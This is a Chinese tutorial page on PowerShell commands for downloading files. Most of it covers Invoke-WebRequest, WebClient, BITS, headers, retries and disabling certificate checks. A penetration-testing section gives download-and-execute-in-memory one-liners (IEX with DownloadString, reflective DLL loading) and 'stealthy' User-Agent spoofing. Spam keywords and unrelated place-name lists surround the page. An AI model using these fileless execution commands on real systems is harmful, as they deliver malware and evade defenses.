最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

PowerShell遠(yuǎn)程下載文件的多種方法和命令大全

 更新時間:2025年10月31日 08:38:19   作者:Bruce_xiaowei  
作為一名程序員做實(shí)驗(yàn)的時候會經(jīng)常需要在內(nèi)網(wǎng)中傳輸文件,用U盤等移動存儲介質(zhì)會非常不方便,如果是Windows系統(tǒng)用PowerShell很方便,以下是Windows?PowerShell中用于遠(yuǎn)程下載文件的多種方法和命令,需要的朋友可以參考下

1. 基礎(chǔ)下載命令

Invoke-WebRequest (推薦)

# 基礎(chǔ)下載
Invoke-WebRequest -Uri "http://example.com/file.zip" -OutFile "C:\temp\file.zip"

# 使用別名
iwr "http://example.com/file.zip" -OutFile "C:\temp\file.zip"

# 下載到當(dāng)前目錄
Invoke-WebRequest "http://example.com/file.exe" -OutFile "file.exe"

System.Net.WebClient

# 方法1 - 直接下載
(New-Object System.Net.WebClient).DownloadFile("http://example.com/file.exe", "C:\temp\file.exe")

# 方法2 - 分步操作
$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile("http://example.com/file.exe", "C:\temp\file.exe")
$webClient.Dispose()

2. 高級下載選項(xiàng)

帶進(jìn)度顯示的下載

# 使用 Invoke-WebRequest 顯示進(jìn)度
Invoke-WebRequest -Uri "http://example.com/largefile.iso" -OutFile "C:\temp\largefile.iso" -Verbose

# 使用 WebClient 帶進(jìn)度事件
$url = "http://example.com/file.zip"
$output = "C:\temp\file.zip"

$webClient = New-Object System.Net.WebClient
$webClient.DownloadProgressChanged = {
    Write-Progress -Activity "下載中" -Status "已完成 $($_.ProgressPercentage)%" -PercentComplete $_.ProgressPercentage
}
$webClient.DownloadFileAsync((New-Object Uri($url)), $output)

下載字符串內(nèi)容

# 下載文本內(nèi)容
$content = Invoke-WebRequest -Uri "http://example.com/data.txt" | Select-Object -ExpandProperty Content

# 直接獲取內(nèi)容
$text = (New-Object System.Net.WebClient).DownloadString("http://example.com/data.txt")

3. 認(rèn)證和頭部設(shè)置

基本認(rèn)證

# 帶用戶名密碼的下載
$credential = Get-Credential
Invoke-WebRequest -Uri "http://example.com/secure/file.zip" -Credential $credential -OutFile "file.zip"

# 直接指定憑據(jù)
Invoke-WebRequest -Uri "http://example.com/file" -Headers @{Authorization = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("username:password"))}

自定義請求頭

# 設(shè)置User-Agent和其他頭部
$headers = @{
    'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    'Accept' = 'application/octet-stream'
}

Invoke-WebRequest -Uri "http://example.com/file" -Headers $headers -OutFile "download.file"

4. BITS傳輸服務(wù)(后臺下載)

# 使用BITS后臺下載
Start-BitsTransfer -Source "http://example.com/largefile.iso" -Destination "C:\temp\largefile.iso"

# 顯示下載進(jìn)度
Start-BitsTransfer -Source "http://example.com/file" -Destination "C:\temp\" -DisplayName "我的下載"

# 異步下載
$transfer = Start-BitsTransfer -Source "http://example.com/file" -Destination "C:\temp\" -Asynchronous
# 檢查狀態(tài)
$transfer | Get-BitsTransfer

5. 處理HTTPS和證書

忽略SSL證書錯誤

# 方法1:添加證書驗(yàn)證回調(diào)
add-type @"
    using System.Net;
    using System.Security.Cryptography.X509Certificates;
    public class TrustAllCertsPolicy : ICertificatePolicy {
        public bool CheckValidationResult(
            ServicePoint srvPoint, X509Certificate certificate,
            WebRequest request, int certificateProblem) {
            return true;
        }
    }
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy

# 然后正常下載
Invoke-WebRequest -Uri "https://example.com/file" -OutFile "file.zip"

PowerShell Core (7+) 的SSL忽略

# PowerShell 7+ 使用 -SkipCertificateCheck
Invoke-WebRequest -Uri "https://example.com/file" -OutFile "file.zip" -SkipCertificateCheck

6. 實(shí)用下載函數(shù)

創(chuàng)建可重用的下載函數(shù)

function Download-File {
    param(
        [string]$Url,
        [string]$OutputPath,
        [switch]$ShowProgress
    )
    
    if ($ShowProgress) {
        Write-Host "下載: $Url" -ForegroundColor Yellow
        Write-Host "保存到: $OutputPath" -ForegroundColor Yellow
    }
    
    try {
        Invoke-WebRequest -Uri $Url -OutFile $OutputPath -ErrorAction Stop
        if ($ShowProgress) {
            Write-Host "下載完成!" -ForegroundColor Green
        }
        return $true
    }
    catch {
        Write-Error "下載失敗: $($_.Exception.Message)"
        return $false
    }
}

# 使用函數(shù)
Download-File -Url "http://example.com/tools.zip" -OutputPath "C:\tools\tools.zip" -ShowProgress

批量下載函數(shù)

function Download-MultipleFiles {
    param(
        [hashtable]$Files,  # @{Url1 = "Path1"; Url2 = "Path2"}
        [switch]$Parallel
    )
    
    if ($Parallel) {
        $jobs = @()
        foreach ($item in $Files.GetEnumerator()) {
            $scriptBlock = {
                param($url, $path)
                Invoke-WebRequest -Uri $url -OutFile $path
            }
            $jobs += Start-Job -ScriptBlock $scriptBlock -ArgumentList $item.Key, $item.Value
        }
        $jobs | Wait-Job | Receive-Job
    }
    else {
        foreach ($item in $Files.GetEnumerator()) {
            Download-File -Url $item.Key -OutputPath $item.Value -ShowProgress
        }
    }
}

# 使用示例
$downloadList = @{
    "http://example.com/file1.zip" = "C:\temp\file1.zip"
    "http://example.com/file2.exe" = "C:\temp\file2.exe"
}
Download-MultipleFiles -Files $downloadList

7. 滲透測試專用命令

內(nèi)存中執(zhí)行(不落盤)

# 下載并在內(nèi)存中執(zhí)行
IEX (New-Object Net.WebClient).DownloadString('http://example.com/script.ps1')

# 下載DLL到內(nèi)存
[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://example.com/tool.dll'))

隱蔽下載

# 使用不同的User-Agent
$client = New-Object System.Net.WebClient
$client.Headers.Add('User-Agent', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)')
$client.DownloadFile('http://example.com/file', 'C:\temp\file')

# 使用SSL和代理
$proxy = New-Object System.Net.WebProxy("http://proxy:8080", $true)
$webClient = New-Object System.Net.WebClient
$webClient.Proxy = $proxy
$webClient.DownloadFile('https://example.com/file', 'output.file')

8. 錯誤處理和重試

帶重試機(jī)制的下載

function Download-FileWithRetry {
    param(
        [string]$Url,
        [string]$OutputPath,
        [int]$MaxRetries = 3
    )
    
    for ($i = 1; $i -le $MaxRetries; $i++) {
        try {
            Write-Host "嘗試下載 (第 $i 次)..." -ForegroundColor Yellow
            Invoke-WebRequest -Uri $Url -OutFile $OutputPath -ErrorAction Stop
            Write-Host "下載成功!" -ForegroundColor Green
            return $true
        }
        catch {
            Write-Warning "第 $i 次下載失敗: $($_.Exception.Message)"
            if ($i -eq $MaxRetries) {
                Write-Error "所有重試均失敗"
                return $false
            }
            Start-Sleep -Seconds 5
        }
    }
}

使用建議

  1. 日常使用:推薦 Invoke-WebRequest 或 iwr
  2. 大文件下載:使用 Start-BitsTransfer 支持?jǐn)帱c(diǎn)續(xù)傳
  3. 腳本兼容性System.Net.WebClient 兼容性最好
  4. 安全環(huán)境:注意SSL證書驗(yàn)證問題
  5. 滲透測試:根據(jù)目標(biāo)環(huán)境選擇合適的隱蔽方法

選擇適合你場景的命令,確保在合法授權(quán)的環(huán)境下使用這些技術(shù)。

以上就是PowerShell遠(yuǎn)程下載文件的多種方法和命令大全的詳細(xì)內(nèi)容,更多關(guān)于PowerShell遠(yuǎn)程下載文件的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

最新評論

石嘴山市| 新巴尔虎左旗| 长寿区| 阜新市| 沾益县| 象山县| 奉贤区| 长寿区| 托克逊县| 武冈市| 富裕县| 祥云县| 龙门县| 屏东县| 临泉县| 策勒县| 贞丰县| 城固县| 祁连县| 平凉市| 温宿县| 新竹县| 华坪县| 石河子市| 吉隆县| 府谷县| 辉县市| 邢台县| 湘乡市| 时尚| 府谷县| 岳西县| 恭城| 武隆县| 平遥县| 特克斯县| 沾益县| 马龙县| 福州市| 婺源县| 班戈县|